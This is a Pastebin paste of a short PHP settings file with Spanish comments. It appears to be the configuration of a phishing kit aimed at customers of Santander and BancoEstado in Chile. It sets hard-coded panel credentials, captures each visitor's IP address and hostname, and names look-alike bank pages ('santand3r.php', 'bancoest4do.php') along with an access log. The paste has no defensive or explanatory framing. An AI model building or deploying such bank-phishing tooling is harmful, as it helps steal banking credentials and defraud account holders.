Advertisement
Guest User

Untitled

a guest
May 29th, 2017
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.19 KB | None | 0 0
  1. <?php
  2. //aqui son las variables que usan :D
  3. date_default_timezone_set( "America/Santiago" );
  4. $username = "tierra";
  5. $password = "cielo";
  6. $randomword = "bib123blebobblechocolatemousse";
  7. $IP = getenv("REMOTE_ADDR");
  8. $host = gethostbyaddr($IP);
  9. function fecha(){  
  10. $horas = date ( "h:i:s A");
  11. $mes = date("n");
  12. $mesArray = array( 1 => "Enero", 2 => "Febrero", 3 => "Marzo", 4 => "Abril", 5 => "Mayo", 6 => "Junio", 7 => "Julio", 8 => "Agosto", 9 => "Septiembre", 10 => "Octubre", 11 => "Noviembre", 12 => "Diciembre" );
  13. $semana = date("D");
  14. $semanaArray = array( "Mon" => "Lunes", "Tue" => "Martes", "Wed" => "Miercoles", "Thu" => "Jueves", "Fri" => "Viernes", "Sat" => "Sábado", "Sun" => "Domingo", );
  15. $mesReturn = $mesArray[$mes];
  16. $semanaReturn = $semanaArray[$semana];
  17. $dia = date("d"); $anio = date ("Y");
  18. return $semanaReturn." ".$dia." de ".$mesReturn." de ".$anio." a las " .$horas; }
  19. $xfecha = fecha();
  20. //aqui se edita donde guarda y el registro de acceso al panel :D
  21. $santander = "12.html";
  22. $estado = "13.html";
  23. $entradas = "log.html";
  24. $goto1 = "$santander";
  25. $goto2 = "imagenes/comun2008/$estado";
  26. $goto3 = "santand3r.php";
  27. $goto4 = "bancoest4do.php";
  28. $goto5 = "log.html";
  29.  
  30. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement